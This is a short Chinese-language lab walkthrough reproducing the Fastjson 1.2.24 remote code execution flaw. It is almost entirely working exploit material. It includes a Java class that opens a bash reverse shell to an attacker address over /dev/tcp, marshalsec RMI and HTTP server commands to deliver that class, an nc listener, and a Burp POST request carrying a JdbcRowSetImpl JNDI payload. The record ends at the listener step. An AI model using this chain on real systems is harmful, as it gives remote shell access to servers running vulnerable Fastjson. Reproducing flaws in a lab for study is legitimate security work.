Fastjson1.2.24RCE漏洞复现

1.启动环境并且访问

2.下载marshalsec-0.0.3-SNAPSHOT-all.jar
3.新建Shell.java文件
import java.lang.Runtime;
import java.lang.Process;
public class shell{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {“/bin/bash”,“-c”,“exec 5<>/dev/tcp/192.168.23.3/9991;cat <&5 | while read line; do $line 2>&5 >&5; done”};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
4.坑：使用低版本jdk 1.8.0 编译！！！，否则可能执行失败

5.在kali 新建文件夹将shell.class和marshalsec-0.0.3-SNAPSHOT-all.jar 放在同一目录下然后同目录下执行：
python3 -m http.server 8888

Java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIfServer http://192.168.23.3:8888/#shell 1564

nc -lvnp 9991

6.Burp发送：
POST / HTTP/1.1
Host: 192.168.23.5:8090
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164

{
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://192.168.23.3:1564/shell”,
“autoCommit”:true
}
}

7.nc监听：